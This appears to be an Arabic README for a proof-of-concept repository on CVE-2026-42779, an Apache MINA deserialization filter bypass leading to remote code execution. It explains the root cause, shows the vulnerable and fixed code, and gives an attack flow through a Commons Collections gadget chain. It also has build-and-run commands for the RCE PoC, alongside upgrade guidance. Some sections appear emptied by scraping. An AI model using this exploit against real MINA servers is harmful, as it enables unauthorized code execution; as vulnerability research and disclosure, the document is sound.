
إثبات مفهوم يوضح تجاوز مرشح إلغاء التسلسل في Apache MINA مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد، مع تحليل تفصيلي للسبب الجذري، ونماذج استغلال PoCs، وإرشادات المعالجة.
CVSS 3.1: 9.8 حرج AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 إزالة تسلسل البيانات غير الموثوقة
المُبلّغ: Venkatraman Kumar، Securin
النشرة: القائمة البريدية لـ Apache
تحتوي إصدارات Apache MINA 2.1.0 حتى 2.1.11 و2.2.0 حتى 2.2.6 على تجاوز لمرشح إزالة التسلسل في AbstractIoBuffer.resolveClass(). يتم تخطي قائمة السماح acceptMatchers — المخصصة لتقييد فئات Java التي يمكن إزالة تسلسلها — تمامًا عندما يُرجع ObjectStreamClass.forClass() قيمة null.
يمكن للمهاجم الذي لديه وصول شبكي إلى نقطة نهاية MINA تستخدم ObjectSerializationCodecFactory صياغة حمولة بروتوكول تتجاوز مرشح الفئات، مما يتيح عبر سلاسل أدوات إزالة التسلسل القياسية في Java (مثل Commons Collections).
هذا إصلاح غير مكتمل لـ CVE-2026-41635. تم تطبيق التصحيح الأصلي على فرع 2.0.x ولكن لم يتم نقله إلى 2.1.x أو 2.2.x بسبب خطأ في الدمج.
| الفرع | الإصدارات المعرضة | الإصدار المُصلَح |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
الثغرة موجودة في AbstractIoBuffer.resolveClass()، التي تتعامل مع حل الفئات أثناء إزالة تسلسل كائنات Java.
تستخدم MINA بروتوكول تسلسل مخصصًا بنوعين من واصفات الفئات:
في الكود المعرض للخطر، يتم فحص مرشح acceptMatchers فقط في فرع النوع 1 (عندما يُرجع forClass() قيمة غير null). يستدعي فرع النوع 0 Class.forName() مباشرة، متجاوزًا المرشح تمامًا:
// AbstractIoBuffer.java — عرضة للخطر (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// خطأ: لا يوجد فحص acceptMatchers — تم تجاوز المرشح تمامًا
return Class.forName(name, false, classLoader);
} else {
// يتم تطبيق المرشح هنا فقط
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
ينقل الإصلاح في 2.2.7 فحص المرشح قبل الفرع:
// AbstractIoBuffer.java — مُصلَح (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// يتم تطبيق المرشح أولاً، بغض النظر عن نتيجة forClass()
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... يتبع الحل الآمن
}
المهاجم خادم MINA المعرض للخطر
| |
| 1. صياغة حمولة MINA بواصفات النوع 0 |
| لفئات سلسلة الأدوات |
| |
| 2. الإرسال إلى نقطة نهاية تستخدم |
| ObjectSerializationCodecFactory -------->|
| |
| 3. يقرأ readClassDescriptor() النوع 0|
| → يفوض إلى super (Java القياسي) |
| |
| 4. يرى resolveClass() أن forClass()==null
| → Class.forName() بدون مرشح |
| |
| 5. يتم إزالة تسلسل سلسلة الأدوات بالكامل
| → يطلق readObject() السلسلة |
| → يعمل Runtime.exec() |
| |
| تم تحقيق RCE |
IoBuffer.getObject() أو ObjectSerializationCodecFactoryaccept() مُهيأ (التطبيقات بدون مرشح كانت قابلة للاستغلال بالفعل عبر CVE-2026-41635)يتحكم المهاجم في تدفق البايتات المتسلسل. باستخدام واصفات فئات من النوع 0 (بدلاً من النوع 1) لفئات سلسلة الأدوات القابلة للتسلسل، تتجاوز كل فئة في مخطط إزالة التسلسل مرشح acceptMatchers، بغض النظر عن تكوين قائمة السماح في التطبيق.
ثلاثة إثباتات مفهوم توضح التأثير المتصاعد:
| إثبات المفهوم | ما يثبته |
|---|---|
FilterBypassPoC.java | تجاوز المرشح للأنواع البدائية والفئات غير القابلة للتسلسل والمصفوفات |
CraftedBypassPoC.java | حمولات النوع 0 المصممة من قبل المهاجم تتجاوز المرشح لأي فئة قابلة للتسلسل |
RcePoC.java | RCE كامل عبر سلسلة أدوات CC6 من خلال تجاوز المرشح |
يتم إزالة تسلسل الفئات غير الموجودة في قائمة السماح دون قيود:

يصمم المهاجم حمولات بروتوكول MINA بواصفات النوع 0 لتحميل أي فئة تتجاوز قائمة السماح التي تقبل String فقط:

تحقق سلسلة أدوات متغير CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) تنفيذ الأوامر من خلال تجاوز المرشح:

يتم حظر نفس الاختبارات على الإصدار المُصلَح:

يتم رفض سلسلة الأدوات بواسطة المرشح:

أسرع طريقة للاختبار — بدون الحاجة إلى JDK أو Maven:
# استنساخ هذا المستودع
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# بناء وتشغيل جميع إثباتات المفهوم
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# تشغيل إثباتات مفهوم فردية
docker run --rm cve-2026-42779 bypass # تجاوز المرشح فقط
docker run --rm cve-2026-42779 crafted # تجاوز الحمولة المصممة
docker run --rm cve-2026-42779 rce # RCE كامل
# الدخول إلى قشرة للاستكشاف
docker run --rm -it cve-2026-42779 shell
تحتوي الصورة على JAR الخاص بـ MINA 2.2.6 المعرضة للخطر، وCommons Collections 3.2.2، وجميع إثباتات المفهوم الثلاثة المترجمة مسبقًا. يعمل كل شيء بشكل مستقل داخل الحاوية.
إذا كنت تفضل البناء من المصدر:
# استنساخ وبناء الإصدار المعرض للخطر
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# تنزيل commons-collections (لإثبات مفهوم RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# ترجمة إثباتات المفهوم
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# تشغيل إثبات مفهوم تجاوز المرشح
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# تشغيل إثبات مفهوم الحمولة المصممة
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# تشغيل إثبات مفهوم RCE الكامل
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
أو استخدم Makefile المرفق:
make run-all # بناء وتشغيل جميع إثباتات المفهوم الثلاثة
make run-rce # إثبات مفهوم RCE فقط
المتطلبات: JDK 11+ وMaven (للبناء من المصدر) أو Docker (للحاوية)
قم بالترقية إلى Apache MINA 2.1.12 أو 2.2.7.
إذا لم تكن الترقية ممكنة فورًا:
IoBuffer.getObject() أو ObjectSerializationCodecFactory مع مدخلات غير موثوقة| التاريخ | الحدث |
|---|---|
| 2026-05-01 | نشر النشرة بواسطة لجنة Apache MINA PMC |
| 2026-05-01 | إصدار الإصدارات المُصلَحة 2.1.12 و2.2.7 |
| 2026-05-02 | تطوير واختبار إثبات المفهوم هذا |
إثبات المفهوم هذا مقدم لأغراض البحث الأمني الدفاعي والتعليم واختبار الاختراق المصرح به فقط. استخدمه بمسؤولية وفقط ضد الأنظمة التي لديك إذن باختبارها.